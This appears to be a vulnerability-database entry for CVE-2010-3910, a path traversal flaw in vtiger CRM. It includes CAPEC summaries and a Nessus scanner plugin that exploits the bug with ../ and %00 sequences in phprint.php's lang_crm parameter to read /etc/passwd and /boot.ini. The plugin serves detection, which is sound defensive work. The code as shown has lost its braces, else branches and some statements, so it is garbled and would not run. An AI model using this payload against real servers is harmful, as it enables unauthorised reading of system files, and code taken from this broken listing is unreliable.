Vulnerabilities > CVE-2010-3910 - Path Traversal vulnerability in Vtiger CRM

Attack vector
Attack complexity
Privileges required
Confidentiality impact
Integrity impact
Availability impact


Multiple directory traversal vulnerabilities in the return_application_language function in include/utils/utils.php in vtiger CRM before 5.2.1 allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in (1) the lang_crm parameter to phprint.php or (2) the current_language parameter in an Accounts Import action to graph.php.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.


NASL familyCGI abuses
descriptionThe version of vtiger CRM installed on the remote host does not sanitize user input to the
last seen2020-06-01
plugin id50829
reporterThis script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
titlevtiger CRM phprint.php lang_crm Parameter Local File Inclusion
# (C) Tenable Network Security, Inc.


if (description)
  script_cvs_date("Date: 2018/11/15 20:50:19");


  script_name(english:"vtiger CRM phprint.php lang_crm Parameter Local File Inclusion");
  script_summary(english:"Tries to read a local file");

"The remote web server hosts a PHP script that is susceptible to a local
file inclusion attack."
"The version of vtiger CRM installed on the remote host does not
sanitize user input to the 'lang_crm' parameter of the 'phprint.php'
script before using it to include PHP code.

An unauthenticated, remote attacker may be able to leverage this issue
to view arbitrary files or possibly execute arbitrary PHP code on the
remote host, subject to the privileges of the web server user id.

Note that the install is also likely to be affected by several other
vulnerabilities, although Nessus has not checked for them."
  script_set_attribute(attribute:"see_also", value:"");
  script_set_attribute(attribute:"see_also", value:"");
  script_set_attribute(attribute:"solution", value:"Upgrade to vtiger CRM version 5.21 or later.");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"d2_elliot_name", value:"vtiger CRM 5.2.0 LFI");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/11/16");
  script_set_attribute(attribute:"patch_publication_date", value:"2010/11/15");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/11/29");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "os_fingerprint.nasl");
  script_require_ports("Services/www", 80);



port = get_http_port(default:80, php:TRUE, embedded:FALSE);

# Determine what to look for.
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
  if ("Windows" >< os) file = '/boot.ini';
  else file = '/etc/passwd';
  files = make_list(file);
else files = make_list('/etc/passwd', '/boot.ini');
files = make_list(files, "vtigerservice.php");

file_pats = make_array();
file_pats['/etc/passwd'] = "root:.*:0:[01]:";
file_pats['/boot.ini'] = "^ *\[boot loader\]";
file_pats['vtigerservice.php'] = '<h1>vtigerCRM Soap Services';

# Loop through directories.
if (thorough_tests) dirs = list_uniq(make_list("/vtiger", "/tigercrm", "/crm", cgi_dirs()));
else dirs = make_list(cgi_dirs());

magic1 = SCRIPT_NAME;
magic2 = unixtime();

contents = "";
found_file = "";
installs = 0;
vuln_reqs = make_array();

foreach dir (dirs)
  # Loop through files to look for.
  foreach file (files)
    # Once we find a file that works, stick with it for any subsequent tests.
    if (found_file && file != found_file) continue;

    # Try to exploit the issue.
    if (file[0] == '/')
      exploit = mult_str(str:"../", nb:12) + file + '%00';
      exploit = mult_str(str:"../", nb:2) + file + '%00';

    url = dir + '/phprint.php?' +
      'module=' + magic1 + '&' +
      'action=' + magic2 + '&' +
      'lang_crm=' + exploit;

    res = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail:TRUE);

    if ('module='+magic1+'&action='+magic2+'&record="><< Back' >< res[2])
    # otherwise continue unless we're being paranoid.
    else if (report_paranoia < 2)

    # There's a problem if we see the expected contents.
    body = res[2];
    file_pat = file_pats[file];

    if (egrep(pattern:file_pat, string:body))
      vuln_reqs[url] = build_url(port:port, qs:url);

      if (!contents && egrep(pattern:file_pat, string:body))
        found_file = file;

        contents = body;
        if ("<html>" >< contents) contents = contents - strstr(contents, "<html>");

  if (max_index(keys(vuln_reqs)) && !thorough_tests) break;
if (!installs) exit(0, "The web server listening on port "+port+" does not appear to host vtiger CRM.");
if (max_index(keys(vuln_reqs)) == 0) exit(0, "No vulnerable installs of vtiger CRM were found on the web server on port "+port+".");

# Report findings.
if (report_verbosity > 0)
  line_limit = 10;
  trailer = '';

  if ('vtigerservice.php' >< found_file)
    header =
      'Nessus verified the issue by trying to include the application\'s own\n' +
      '\'' + found_file + '\' script and verifying its output in the response\n' +
      'stream using the following URL';

    if (report_verbosity > 1)
      trailer =
        'Here is its output (limited to ' + line_limit + ' lines) :\n' +
        '\n' +
        crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
        contents + '\n' +
        crap(data:"-", length:30) + " snip " + crap(data:"-", length:30);
    if (os && "Windows" >< os) found_file = str_replace(find:'/', replace:'\\', string:found_file);

    header =
      'Nessus was able to exploit the issue to retrieve the contents of\n' +
      "'" + found_file + "' on the remote host using the following URL";

    if (report_verbosity > 1)
      trailer =
        'Here are its contents (limited to ' + line_limit + ' lines) :\n' +
        '\n' +
        crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
        beginning_of_response(resp:contents, max_lines:line_limit) +
        crap(data:"-", length:30) + " snip " + crap(data:"-", length:30);

  report = get_vuln_report(items:url, port:port, header:header, trailer:trailer);
  security_warning(port:port, extra:report);
else security_warning(port);


data source
last seen2016-12-05
reporterAlessandro Tanasi
titleVtiger CRM 5.2.0 Code Execution / Cross Site Scripting / Local File Inclusion